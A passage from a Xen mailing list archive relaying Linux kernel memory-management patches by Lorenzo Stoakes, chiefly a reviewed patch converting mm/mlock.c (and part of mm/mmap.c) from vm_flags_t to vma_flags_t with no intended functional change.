index 4a88b2a233f7..39d33f3a55c2 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -657,9 +657,9 @@ SYSCALL_DEFINE1(old_mmap, struct mmap_arg_struct __user *, arg)
  * Determine if the allocation needs to ensure that there is no
  * existing mapping within it's guard gaps, for use as start_gap.
  */
-static inline unsigned long stack_guard_placement(vm_flags_t vm_flags)
+static inline unsigned long stack_guard_placement(vma_flags_t vma_flags)
 {
-	if (vm_flags & VM_SHADOW_STACK)
+	if (vma_flags_test_single_mask(&vma_flags, VMA_SHADOW_STACK))
 		return PAGE_SIZE;
 
 	return 0;
@@ -701,7 +701,7 @@ unsigned long vm_unmapped_area(struct vm_unmapped_area_info *info)
 unsigned long
 generic_get_unmapped_area(struct file *filp, unsigned long addr,
 			  unsigned long len, unsigned long pgoff,
-			  unsigned long flags, vm_flags_t vm_flags)
+			  unsigned long flags, vma_flags_t vma_flags)
 {
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma, *prev;
@@ -726,7 +726,7 @@ generic_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.length = len;
 	info.low_limit = mm->mmap_base;
 	info.high_limit = mmap_end;
-	info.start_gap = stack_guard_placement(vm_flags);
+	info.start_gap = stack_guard_placement(vma_flags);
 	if (filp && is_file_hugepages(filp))
 		info.align_mask = huge_page_mask_align(filp);
 	return vm_unmapped_area(&info);
@@ -739,7 +739,7 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 		       unsigned long flags, vm_flags_t vm_flags)
 {
 	return generic_get_unmapped_area(filp, addr, len, pgoff, flags,
-					 vm_flags);
+					 legacy_to_vma_flags(vm_flags));
 }
 #endif
 
@@ -750,7 +750,7 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 unsigned long
 generic_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 				  unsigned long len, unsigned long pgoff,
-				  unsigned long flags, vm_flags_t vm_flags)
+				  unsigned long flags, vma_flags_t vma_flags)
 {
 	struct vm_area_struct *vma, *prev;
 	struct mm_struct *mm = current->mm;
@@ -778,7 +778,7 @@ generic_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
 	info.high_limit = arch_get_mmap_base(addr, mm->mmap_base);
-	info.start_gap = stack_guard_placement(vm_flags);
+	info.start_gap = stack_guard_placement(vma_flags);
 	if (filp && is_file_hugepages(filp))
 		info.align_mask = huge_page_mask_align(filp);
 	addr = vm_unmapped_area(&info);
@@ -807,7 +807,7 @@ arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 			       unsigned long flags, vm_flags_t vm_flags)
 {
 	return generic_get_unmapped_area_topdown(filp, addr, len, pgoff, flags,
-						 vm_flags);
+						 legacy_to_vma_flags(vm_flags));
 }
 #endif
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360584.1613502 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkK-0000c3-RZ; Sun, 12 Jul 2026 05:28:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360584.1613502; Sun, 12 Jul 2026 05:28:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkK-0000a7-D8; Sun, 12 Jul 2026 05:28:56 +0000
Received: by outflank-mailman (input) for mailman id 1360584;
 Sat, 11 Jul 2026 18:49:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiclb-0005bD-6R
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:49:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicla-009O5O-Jl
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:49:34 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528fa6-e002-0a2a0a5209dd-0a2a450bc08c-46
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:34 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a52903d-b7da-0a2a450b0019-ac6904fe91b2-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:34 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 0EA7B60052;
 Sat, 11 Jul 2026 18:49:33 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 5ABD01F00A3A;
 Sat, 11 Jul 2026 18:49:12 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795772;
	bh=F7JbYfoR0cBo3rK9+sjl2GjH5zAlrFeYJDLZN+6KwQc=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=YgX1w/cjR8WW7yAZK54+rQ0d90kWJBtvSsotwFoOsbT1jEjUv+GBeJk+emgMy+T1b
	 4NmtgJa3KAaWfNdlVas+DLRld0NYlKD608QgNo3ayghduF02ZaZspWu7cFAVIEwmQT
	 i/QMae1t1yCToyOSygT8AGwDD8ih5WV9TxgWALUrWKoKSlJDM32b/4wZb56F/MNqwa
	 ibM6KyzyLmz+I9eMGK75CzcO/6KXshFhD90r8Nyp0a3VNBMw8MLH6TTnhDIiICXDCE
	 qX519KpT+qQjZgiMubdoDozDvMvaNHUGSTjH3oTfJO/3AqH3CmZEAioli+P7/Fd/Gr
	 Zw3fCwHDxMEWQ==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:08 +0100
Subject: [PATCH v2 11/13] mm/mlock: convert mlock code to use vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-11-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=10659; i=ljs@kernel.org;
 h=from:subject:message-id; bh=12NkDtkZsgv4tumIZ1Li1kdvxPQKo0e0f0d/e5C85HE=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+q2U/t/Zc52rw7NtrciSmor9vhun7bDe9HnRAg7Ja
 cyqWbnrOkpZGMS4GGTFFFmefxHfHyQSNq/zgr8bzBxWJpAhDFycAjCRpRwM/52KL+dGd2U+vcZ6
 5VvA0uleV8Mu5Ck9uXaQ8eBm7fZnmj2MDN2eM1TPyd28I+kbcNei+mhv94Tzv59s1gvJ8+BYoHC
 ZkR0A
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-42698a/1783795774-4A3749ED-BF65E665/0/0
X-purgate-type: clean
X-purgate-size: 10661

Replace use of the legacy vm_flags_t flags with vma_flags_t values
throughout the mlock logic.

Additionally update comments to reflect the changes to be consistent.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Reviewed-by: Lance Yang <lance.yang@linux.dev>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/mlock.c | 88 +++++++++++++++++++++++++++++++++-----------------------------
 1 file changed, 47 insertions(+), 41 deletions(-)

diff --git a/mm/mlock.c b/mm/mlock.c
index 34ffa954006f..efa6716e4dfb 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -329,7 +329,7 @@ static inline bool allow_mlock_munlock(struct folio *folio,
 	 * be split. And the pages are not in VM_LOCKed VMA
 	 * can be reclaimed.
 	 */
-	if (!(vma->vm_flags & VM_LOCKED))
+	if (!vma_test(vma, VMA_LOCKED_BIT))
 		return true;
 
 	/* folio_within_range() cannot take KSM, but any small folio is OK */
@@ -368,7 +368,7 @@ static int mlock_pte_range(pmd_t *pmd, unsigned long addr,
 		folio = pmd_folio(*pmd);
 		if (folio_is_zone_device(folio))
 			goto out;
-		if (vma->vm_flags & VM_LOCKED)
+		if (vma_test(vma, VMA_LOCKED_BIT))
 			mlock_folio(folio);
 		else
 			munlock_folio(folio);
@@ -393,7 +393,7 @@ static int mlock_pte_range(pmd_t *pmd, unsigned long addr,
 		if (!allow_mlock_munlock(folio, vma, start, end, step))
 			goto next_entry;
 
-		if (vma->vm_flags & VM_LOCKED)
+		if (vma_test(vma, VMA_LOCKED_BIT))
 			mlock_folio(folio);
 		else
 			munlock_folio(folio);
@@ -417,8 +417,8 @@ static int mlock_pte_range(pmd_t *pmd, unsigned long addr,
  * @end - end of range in @vma
  * @new_vma_flags - the new set of flags for @vma.
  *
- * Called for mlock(), mlock2() and mlockall(), to set @vma VM_LOCKED;
- * called for munlock() and munlockall(), to clear VM_LOCKED from @vma.
+ * Called for mlock(), mlock2() and mlockall(), to set @vma VMA_LOCKED_BIT;
+ * called for munlock() and munlockall(), to clear VMA_LOCKED_BIT from @vma.
  */
 static void mlock_vma_pages_range(struct vm_area_struct *vma,
 	unsigned long start, unsigned long end,
@@ -431,14 +431,14 @@ static void mlock_vma_pages_range(struct vm_area_struct *vma,
 
 	/*
 	 * There is a slight chance that concurrent page migration,
-	 * or page reclaim finding a page of this now-VM_LOCKED vma,
+	 * or page reclaim finding a page of this now-VMA_LOCKED_BIT vma,
 	 * will call mlock_vma_folio() and raise page's mlock_count:
 	 * double counting, leaving the page unevictable indefinitely.
-	 * Communicate this danger to mlock_vma_folio() with VM_IO,
-	 * which is a VM_SPECIAL flag not allowed on VM_LOCKED vmas.
+	 * Communicate this danger to mlock_vma_folio() with VMA_IO_BIT,
+	 * which is a VMA_SPECIAL_FLAGS flag not allowed on VMA_LOCKED_BIT vmas.
 	 * mmap_lock is held in write mode here, so this weird
 	 * combination should not be visible to other mmap_lock users;
-	 * but WRITE_ONCE so rmap walkers must see VM_IO if VM_LOCKED.
+	 * but WRITE_ONCE so rmap walkers must see VMA_IO_BIT if VMA_LOCKED_BIT.
 	 */
 	if (vma_flags_test(new_vma_flags, VMA_LOCKED_BIT))
 		vma_flags_set(new_vma_flags, VMA_IO_BIT);
@@ -458,7 +458,7 @@ static void mlock_vma_pages_range(struct vm_area_struct *vma,
 /*
  * mlock_fixup  - handle mlock[all]/munlock[all] requests.
  *
- * Filters out "special" vmas -- VM_LOCKED never gets set for these, and
+ * Filters out "special" vmas -- VMA_LOCKED_BIT never gets set for these, and
  * munlock is a no-op.  However, for some special vmas, we go ahead and
  * populate the ptes.
  *
@@ -466,24 +466,23 @@ static void mlock_vma_pages_range(struct vm_area_struct *vma,
  */
 static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
 	       struct vm_area_struct **prev, unsigned long start,
-	       unsigned long end, vm_flags_t newflags)
+	       unsigned long end, vma_flags_t *new_vma_flags)
 {
-	vma_flags_t new_vma_flags = legacy_to_vma_flags(newflags);
 	const vma_flags_t old_vma_flags = vma->flags;
 	struct mm_struct *mm = vma->vm_mm;
 	int nr_pages;
 	int ret = 0;
 
-	if (vma_flags_same_pair(&old_vma_flags, &new_vma_flags) ||
+	if (vma_flags_same_pair(&old_vma_flags, new_vma_flags) ||
 	    vma_is_secretmem(vma) || !vma_supports_mlock(vma)) {
 		/*
-		 * Don't set VM_LOCKED or VM_LOCKONFAULT and don't count.
-		 * For secretmem, don't allow the memory to be unlocked.
+		 * Don't set VMA_LOCKED_BIT or VMA_LOCKONFAULT_BIT and don't
+		 * count.  For secretmem, don't allow the memory to be unlocked.
 		 */
 		goto out;
 	}
 
-	vma = vma_modify_flags(vmi, *prev, vma, start, end, &new_vma_flags);
+	vma = vma_modify_flags(vmi, *prev, vma, start, end, new_vma_flags);
 	if (IS_ERR(vma)) {
 		ret = PTR_ERR(vma);
 		goto out;
@@ -493,7 +492,7 @@ static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
 	 * Keep track of amount of locked VM.
 	 */
 	nr_pages = (end - start) >> PAGE_SHIFT;
-	if (!vma_flags_test(&new_vma_flags, VMA_LOCKED_BIT))
+	if (!vma_flags_test(new_vma_flags, VMA_LOCKED_BIT))
 		nr_pages = -nr_pages;
 	else if (vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT))
 		nr_pages = 0;
@@ -502,15 +501,15 @@ static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
 	/*
 	 * vm_flags is protected by the mmap_lock held in write mode.
 	 * It's okay if try_to_unmap_one unmaps a page just after we
-	 * set VM_LOCKED, populate_vma_page_range will bring it back.
+	 * set VMA_LOCKED_BIT, populate_vma_page_range will bring it back.
 	 */
-	if (vma_flags_test(&new_vma_flags, VMA_LOCKED_BIT) &&
+	if (vma_flags_test(new_vma_flags, VMA_LOCKED_BIT) &&
 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT)) {
 		/* No work to do, and mlocking twice would be wrong */
 		vma_start_write(vma);
-		vma->flags = new_vma_flags;
+		vma->flags = *new_vma_flags;
 	} else {
-		mlock_vma_pages_range(vma, start, end, &new_vma_flags);
+		mlock_vma_pages_range(vma, start, end, new_vma_flags);
 	}
 out:
 	*prev = vma;
@@ -518,7 +517,7 @@ static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
 }
 
 static int apply_vma_lock_flags(unsigned long start, size_t len,
-				vm_flags_t flags)
+				const vma_flags_t *flags)
 {
 	unsigned long nstart, end, tmp;
 	struct vm_area_struct *vma, *prev;
@@ -543,18 +542,20 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 	tmp = vma->vm_start;
 	for_each_vma_range(vmi, vma, end) {
 		int error;
-		vm_flags_t newflags;
+		vma_flags_t newflags;
 
 		if (vma->vm_start != tmp)
 			return -ENOMEM;
 
-		newflags = vma->vm_flags & ~VM_LOCKED_MASK;
-		newflags |= flags;
+		newflags = vma->flags;
+		vma_flags_clear_mask(&newflags, VMA_LOCKED_MASK);
+		vma_flags_set_mask(&newflags, *flags);
+
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 		tmp = vma->vm_end;
 		if (tmp > end)
 			tmp = end;
-		error = mlock_fixup(&vmi, vma, &prev, nstart, tmp, newflags);
+		error = mlock_fixup(&vmi, vma, &prev, nstart, tmp, &newflags);
 		if (error)
 			return error;
 		tmp = vma_iter_end(&vmi);
@@ -589,7 +590,7 @@ static unsigned long count_mm_mlocked_page_nr(struct mm_struct *mm,
 		end = start + len;
 
 	for_each_vma_range(vmi, vma, end) {
-		if (vma->vm_flags & VM_LOCKED) {
+		if (vma_test(vma, VMA_LOCKED_BIT)) {
 			if (start > vma->vm_start)
 				count -= (start - vma->vm_start);
 			if (end < vma->vm_end) {
@@ -615,7 +616,8 @@ static int __mlock_posix_error_return(long retval)
 	return retval;
 }
 
-static __must_check int do_mlock(unsigned long start, size_t len, vm_flags_t flags)
+static __must_check int do_mlock(unsigned long start, size_t len,
+				 vma_flags_t *flags)
 {
 	unsigned long locked;
 	unsigned long lock_limit;
@@ -664,24 +666,27 @@ static __must_check int do_mlock(unsigned long start, size_t len, vm_flags_t fla
 
 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 {
-	return do_mlock(start, len, VM_LOCKED);
+	vma_flags_t flags = mk_vma_flags(VMA_LOCKED_BIT);
+
+	return do_mlock(start, len, &flags);
 }
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	vm_flags_t vm_flags = VM_LOCKED;
+	vma_flags_t vma_flags = mk_vma_flags(VMA_LOCKED_BIT);
 
 	if (flags & ~MLOCK_ONFAULT)
 		return -EINVAL;
 
 	if (flags & MLOCK_ONFAULT)
-		vm_flags |= VM_LOCKONFAULT;
+		vma_flags_set(&vma_flags, VMA_LOCKONFAULT_BIT);
 
-	return do_mlock(start, len, vm_flags);
+	return do_mlock(start, len, &vma_flags);
 }
 
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
+	vma_flags_t flags = EMPTY_VMA_FLAGS;
 	int ret;
 
 	start = untagged_addr(start);
@@ -691,7 +696,7 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 
 	if (mmap_write_lock_killable(current->mm))
 		return -EINTR;
-	ret = apply_vma_lock_flags(start, len, 0);
+	ret = apply_vma_lock_flags(start, len, &flags);
 	mmap_write_unlock(current->mm);
 
 	return ret;
@@ -705,14 +710,15 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
  * There are a couple of subtleties with this.  If mlockall() is called multiple
  * times with different flags, the values do not necessarily stack.  If mlockall
  * is called once including the MCL_FUTURE flag and then a second time without
- * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_vma_flags.
+ * it, VMA_LOCKED_BIT and VMA_LOCKONFAULT_BIT will be cleared from
+ * mm->def_vma_flags.
  */
 static int apply_mlockall_flags(int flags)
 {
 	VMA_ITERATOR(vmi, current->mm, 0);
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma, *prev = NULL;
-	vm_flags_t to_add = 0;
+	vma_flags_t to_add = EMPTY_VMA_FLAGS;
 
 	vma_flags_clear_mask(&mm->def_vma_flags, VMA_LOCKED_MASK);
 	if (flags & MCL_FUTURE) {
@@ -726,20 +732,20 @@ static int apply_mlockall_flags(int flags)
 	}
 
 	if (flags & MCL_CURRENT) {
-		to_add |= VM_LOCKED;
+		vma_flags_set(&to_add, VMA_LOCKED_BIT);
 		if (flags & MCL_ONFAULT)
-			to_add |= VM_LOCKONFAULT;
+			vma_flags_set(&to_add, VMA_LOCKONFAULT_BIT);
 	}
 
 	for_each_vma(vmi, vma) {
 		int error;
-		vm_flags_t newflags;
+		vma_flags_t newflags = vma->flags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED_MASK;
-		newflags |= to_add;
+		vma_flags_clear_mask(&newflags, VMA_LOCKED_MASK);
+		vma_flags_set_mask(&newflags, to_add);
 
 		error = mlock_fixup(&vmi, vma, &prev, vma->vm_start, vma->vm_end,
-				    newflags);
+				    &newflags);
 		/* Ignore errors, but prev needs fixing up. */
 		if (error)
 			prev = vma;

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360562.1613425 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkG-0007cH-Ji; Sun, 12 Jul 2026 05:28:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360562.1613425; Sun, 12 Jul 2026 05:28:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkG-0007c9-Dk; Sun, 12 Jul 2026 05:28:52 +0000
Received: by outflank-mailman (input) for mailman id 1360562;
 Sat, 11 Jul 2026 18:45:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wichu-0005G6-ED
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:45:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicht-00A4vL-6P
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:45:45 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528ec8-5cb7-0a2a0a5109dd-0a2a4501eb4c-28
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:45:45 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528f57-3ea4-0a2a45010019-aceafc1fbcc6-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:45:44 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id BE39341655;
 Sat, 11 Jul 2026 18:45:42 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id CF9E11F000E9;
 Sat, 11 Jul 2026 18:45:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Subject:Date:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795542;
	bh=6Gq4ADgsF216KVXDCQvsNulS1k0GIw7kWSrVwfWrShU=;
	h=From:Subject:Date:To:Cc;
	b=HwBiHjydO82LFji0UszYF+rut4yPEXSI9+yS+Eeji5ZCbyrT7X+W6u1SUhVQrniFh
	 k7zXkJTLpkdkF17TCk/BE+KcBy5UxuqcCjXmdN5PS9ECGxuOXb2w3UmsQyrZZxq7/t
	 c+KqnJP4WL+6PC8X11/5T9fjXKiXHAd7Xpt/IXxNiG+CVT7P4gTg2l4JBZQF5qRc7Q
	 jPA9ta75uC74wIyT42vdmuOfCbRm4RxExyPtvpLAMrtRGgX9U5roby63Qt1Y3NlQfu
	 ZTdoDsuPZHxU6x5M8BAHXT6+GUlCHjJtm0CqjR6W2GWRZYz7riaLxSYOABQQKBAl2z
	 Lovf7UvBmWVMw==
From: Lorenzo Stoakes <ljs@kernel.org>
Subject: [PATCH v2 00/13] mm: convert more vm_flags_t users to vma_flags_t
Date: Sat, 11 Jul 2026 19:44:57 +0100
Message-Id: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-B4-Tracking: v=1; b=H4sIACmPUmoC/yWNwQ6CMBAFf4Xs2TZtFYqe/A/DAcq2FIGaLTYaw
 r8LeJxk3rwFIpLHCLdsAcLkow/TBuqUgenqySHz7caghCqElpI1F5bGmtmhdpGNI2takZ/LvLV
 Xa2BbvQit/xzFR/Xn+G56NPOe2Y3OxznQ97hMcvfAhITEpS6VLkShBXd+5kMf70+kCQceyEG1r
 usP7sodQ68AAAA=
X-Change-ID: 20260711-b4-vma-flags-mm-bd05385df9fc
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
